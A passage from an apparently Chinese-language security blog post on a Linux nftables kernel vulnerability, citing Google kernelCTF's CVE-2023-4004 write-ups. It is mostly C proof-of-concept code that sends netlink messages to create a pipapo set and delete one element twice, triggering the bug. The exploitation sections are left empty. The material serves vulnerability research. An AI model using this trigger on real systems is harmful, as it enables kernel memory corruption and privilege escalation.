nlh1->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | NFT_MSG_DELSETELEM; //注意修改
nlh1->nlmsg_pid = getpid();
nlh1->nlmsg_flags = NLM_F_REQUEST| NLM_F_CREATE;
nlh1->nlmsg_seq = 0;


uint8_t msgcon1[] = {1,0,0,0,12,0,1,0,109,121,95,116,97,98,108,101,12,0,2,0,109,121,95,115,101,116,64,64,80,0,3,0,76,0,0,0,72,0,1,0,68,0,1,0,97,97,97,97,97,97,97,97,98,98,98,98,98,98,98,98,99,99,99,99,99,99,99,99,100,100,100,100,100,100,100,100,101,101,101,101,101,101,101,101,102,102,102,102,102,102,102,102,49,49,49,49,49,49,49,49,50,50,50,50,50,50,50,50};
memcpy((void *)nlh1+0x10, msgcon1, pay1_size);

nlh_batch_end = get_batch_end_nlmsg();

/* IOV preparation */
memset(iov, 0, sizeof(iov));
int tot_iov = 0;
iov[tot_iov].iov_base = (void *)nlh_batch_begin;
iov[tot_iov++].iov_len = nlh_batch_begin->nlmsg_len;
iov[tot_iov].iov_base = nlh1;
iov[tot_iov++].iov_len = nlh1->nlmsg_len;
iov[tot_iov].iov_base = (void *)nlh_batch_end;
iov[tot_iov++].iov_len = nlh_batch_end->nlmsg_len;

/* Message header preparation */
msg.msg_name = (void *)&dest_snl;
msg.msg_namelen = sizeof(struct sockaddr_nl);
msg.msg_iov = iov;
msg.msg_iovlen = tot_iov;

sendmsg(sock, &msg, 0);

/* Free used structures */
free(nlh_batch_end);
free(nlh1);
free(nlh_batch_begin);

}


int main(){
save_status();
bindCore(0);
unshare_setup();

int sock;
if ((sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_NETFILTER)) < 0) {
perror("socket");
}
printf("[+] Netlink socket created\n");

create_table(sock, "my_table");
create_pipapo_set(sock);
add_set_elem(sock);
del_set_elem(sock);
del_set_elem(sock);

//pwn(sock);




}


LEAK

TODO

漏洞利用

参考

https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/docs/vulnerability.md

https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/docs/exploit.md

https://196082.github.io/2024/09/03/nftables-CVEs1/


文章作者: q1ming
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1ming !
  目录